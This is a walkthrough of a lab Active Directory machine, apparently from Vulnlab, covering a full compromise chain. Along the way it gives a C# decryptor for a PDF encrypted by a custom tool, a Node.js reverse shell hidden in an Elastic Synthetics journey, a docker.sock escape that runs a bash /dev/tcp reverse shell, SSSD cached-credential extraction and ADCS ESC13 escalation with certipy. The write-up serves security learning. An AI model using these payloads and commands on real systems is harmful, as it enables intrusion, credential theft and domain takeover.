|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT 80

Visiting the webserver, it shows us one pager site having nothing out of interest

PORT 445 (SMB)

Listing smb shares with anonymous user

IT share can be accessed anonymously having password policy reoport which seems to be encrypted judging from the file name

On opening this file, it won’t be recognized by document reviewer as the contents of this file are encrypted

Decrypting the PDF File By Analyzing the Encrypt function

Since this report was generated by ADAudit tool, it’s possible that there might be something we need to grab from there, downloading ADAudit.dll file from share

On analyzing the dll file with ILSpy we'll get the password for svc_auditreporter

Verifying these credentials through netexec to see if they are valid

We can also find what algorithm was used to encrypt the pdf file from ADAuditLib.dll

For encrypting the contents, it’s using XORing with key and then performing bitwise operations, the key here is generated with the seed 12345 which will return the same value, afterwards it's shuffling the bytes with ShuffleBytes function and then writing the output, for decrypting it we can reverse the shuffling of bytes

private static void UnshuffleBytes(ref byte[] data)
    {
        for (int i = data.Length - 2; i >= 0; i -= 2)
        {
            byte b = data[i];
            data[i] = data[i - 1];
            data[i - 1] = b;
        }
    }

Reverse the XORing and bitwise part

for (int i = 0; i < data.Length; i++)
        {
            data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
            data[i] ^= array[i % array.Length];
        }

The resulting code will look like this for decryption

using System;
using System.IO;
public static class DecryptionUtility
{
    public static void DecryptFile(string encryptedFilePath)
    {
        if (!File.Exists(encryptedFilePath))
        {
            throw new FileNotFoundException();
        }
        byte[] data = File.ReadAllBytes(encryptedFilePath);
        UnshuffleBytes(ref data);
        byte[] array = GenerateKey(data.Length);
        for (int i = 0; i < data.Length; i++)
        {
            data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
            data[i] ^= array[i % array.Length];
        }
        string decryptedFilePath = encryptedFilePath.Replace("_encrypted", "_decrypted");
        File.WriteAllBytes(decryptedFilePath, data);
    }
    private static void UnshuffleBytes(ref byte[] data)
    {
        for (int i = data.Length - 2; i >= 0; i -= 2) 
        {
            byte b = data[i];
            data[i] = data[i - 1];
            data[i - 1] = b;
        }
    }
    private static byte[] GenerateKey(int length)
    {
        byte[] array = new byte[length];
        new Random(12345).NextBytes(array);
        return array;
    }
    static public void Main(String[] args)
    {
        DecryptFile("E:\\Password_Strength_Report_encrypted.pdf");
    }
}

Running this will decrypt the file present us with 4 set of user creds

Spraying these creds, we’ll get 3 valid hits and one user having password expired

Enumerating the domain first to see if we can go anywhere from the users we have

python3 /opt/BloodHound.py/bloodhound.py  -u 'svc_auditreporter' -p 'pass' -d vigilant.vl -dc DC.vigilant.vl -ns 10.10.224.85

We have pamela.clark belonging to TECHSUPPORTERS group

Alex.powell belonging to ADTeams

Edwin.Dixon in Accountants group

And Daniel.Washington in MarketingStartegies group

Accessing Kibana With Pamela

But this doesn’t further lead to anywhere on the domain, the domain controller has instance of Kibana running on port 5601, with Pamela’s password we can login

Kibana is used for data visualization to detect patterns, monitor the environment, look for abnormal behavior, representing it in the form of graph and charts, here we are a superuser so we pretty much control over this instance of kibana

But we need to figure out the agents using kibana and how to achieve access on those hosts, agents can be listed through Fleets http://dc.vigilant.vl:5601/app/fleet

There are two agents, one is the linux server and the other is domain controller, so most likely we’ll be dealing with the linux machine as we have the integration for html page that we saw earlier

Googling around a way to execute commands or get a shell from kibana lead us to nowhere until taking a hint from vulnlab’s wiki, that we can achieve it from Synthetics , which is used for monitoring and test if the web site is functioning correctly

We already have the marketing page being monitored, we can run test scripts on this page, to do that we need to create what is called a monitor , there's already a monitor configured, which is using type script to visit the marketing page

Using this script we can use file protocol to read local files like /etc/passwd

As soon as this test will be completed it will take a screenshot, having the result

Getting a reverse shell through synthetic monitor

However just having the ability to read local files won’t lead us anywhere, we need to get a shell , the script that we have used it’s playwright, an open source nodejs library for browser testing, when using child_process to execute system command we'll get an error that only step definitions are allowed with inline scripts

For using external packages like child_process, we need to create journey which is a complete step of doing something rather than creating a monitor which just checks if the page is loading correctly. According to the documentation we first need to initialize the synthetic project

npx @elastic/synthetics init test

At initializing the project, we’ll be asked to provide the API key, generating the project API key from here

Modify the contents of example.journey.ts from the journeys directory

import { journey, step, expect } from '@elastic/synthetics';
journey('Ensure placeholder is correct', ({ page }) => {
  step('Load the demo page', async () => {
    await page.goto('http://10.8.0.136');
    (function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(2222, "10.8.0.136", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; 
})();
  });
  });

Using push to create this project, it will create the monitor

Wait for few minutes for the monitor to be triggered having netcat listener and http server ready

From the filesystem, this seems like we are inside a docker container

Breaking out of container via docker sock

By running capsh we can list down the capabilities of the container but from the output it doesn't seem like it has a capability that we can abuse

Since elastic-agent is part of root group, docker.sock can be mounted which can be used for communicating with docker daemon to mount the host file system

Using deepce we can breakout of docker utilizing docker.sock, to test it we can try reading /etc/shadow from the host by creating a container and mount the file system

We can run system commands on the host, so running a bash reverse shell

deepce.sh --exploit SOCK --command "/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.136/3333 0>&1'"

I placed my ssh public key to login as root just to get a proper shell as the container created didn’t had any binaries

Extracting cached credentials (SSSD creds)

From linpeas, we find that this machine is domain joined and cache credentials is enabled from /etc/sssd/sssd.conf , sssd is responsible for enabling the system to access authentication services such as active directory

Linux systems joined with AD store Kerberos credentials locally in the credential cache file referred to as the ccache. By default sssd maintains a copy of cached credential in /var/lib/sss/db .

With tdbdump we can read the contents of ldb cache file and we want to look for cachedPassword

gabriel.stewart’s sha512crypt hash can be cracked with either john or hashcat

Gabriel is a part of JUNIORADMINS group which is further part of REMOTE MANAGEMENT USERS

Again there are no acls or any special privilege given to gabriel

Running certutil this machine has ADCS installed

Certificate templates can be enumerated with certify but I’ll be using the python version certipy as it had support for ESC13 added ly4k/Certipy#196

Escalating privileges through ESC13

certipy find -u gabriel.stewart -vulnerable -target DC.vigilant.vl -dc-ip 10.10.182.37 -stdout

certipy finds one template which gabriel can enroll, with a linked group Temporary Admins having EKU set to Client Authentication, the template can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13

Having this certificate we can become a local admin to domain controller

certipy req -u 'gabriel.stewart' -ca 'vigilant-CA' -dc-ip 10.10.182.37 -target DC.vigilant.vl -template 'VigilantAdmins' -key-size 4096

Requesting TGT with the certificate

Now logging with winrm again but this time with ticket we obtained since as it represents that we are a member of temporary admin group

References

• https://www.elastic.co/guide/en/fleet/7.17/view-elastic-agent-status.html
• https://www.elastic.co/guide/en/observability/current/synthetics-get-started-ui.html
• https://www.elastic.co/guide/en/observability/current/synthetics-recorder.html
• https://gist.github.com/secoats/44b9b42920ac4a825e54e7310303cfdb
• https://download.docker.com/linux/static/stable/
• https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/attacking-docker-containers/insecure-volume-mount.html
• https://github.com/stealthcopter/deepce
• ly4k/Certipy#196